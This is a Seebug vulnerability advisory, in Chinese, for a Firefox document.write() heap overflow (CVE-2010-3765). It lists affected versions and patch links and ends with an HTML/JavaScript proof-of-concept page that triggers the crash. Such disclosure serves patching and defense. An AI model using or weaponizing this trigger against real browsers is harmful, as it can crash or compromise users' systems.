Lucene search

K
seebugRootSSV:20217
HistoryNov 01, 2010 - 12:00 a.m.

Mozilla Firefox document.write()方式堆溢出漏洞

2010-11-0100:00:00
Root
www.seebug.org
26

EPSS

0.969

Percentile

99.8%

BUGTRAQ ID: 44425
CVE ID: CVE-2010-3765

Firefox是一款非常流行的开源WEB浏览器。

在启用了JavaScript的情况下,Firefox的document.write()方式处理结合DOM注入可能触发堆溢出。攻击者可以通过 nsCSSFrameConstructor::ContentAppended、appendChild等方式触发这个漏洞,导致完全入侵用户系统。

Mozilla Firefox 3.6.x
Mozilla Firefox 3.5.x
Mozilla Thunderbird 3.1.x
Mozilla Thunderbird 3.0.x
Mozilla SeaMonkey < 2.0.10
厂商补丁:

Mozilla

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mozilla.org/

RedHat

RedHat已经为此发布了一个安全公告(RHSA-2010:0808-01)以及相应补丁:
RHSA-2010:0808-01:Critical: firefox security update
链接:https://www.redhat.com/support/errata/RHSA-2010-0808.html


                                                &lt;html&gt;&lt;body&gt;
&lt;script&gt;
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id=&quot;testcase&quot;;
    document.body.appendChild(cobj);
    var obj=document.getElementById(&quot;testcase&quot;);
    var atts = new Array();
    for(p in obj){
      if(typeof(obj[p])==&quot;string&quot;){
        atts.push(p);
      }
    }  
    document.body.removeChild(cobj);
    return atts;
  }

  function crashme() {
    var tags = new Array(&quot;audio&quot;, &quot;a&quot;, &quot;base&quot;);
    for (inx = 0; inx &lt; 0x8964; inx++) {
        for (i = 0; i &lt; tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j &lt; atts.length; j++) {
                var html = &quot;&lt;&quot; + tags[i] + &quot; &quot; + atts[j] + &quot;=a&gt;&lt;/&quot; + tags[i] +
                           &quot;&gt;&quot; + tags[i];
                document.write(html);
            }
        }
    }
  }
&lt;/script&gt;
&lt;button onclick=&quot;crashme();&quot;&gt;Crash Me!&lt;/button&gt;
&lt;/body&gt;&lt;/html&gt;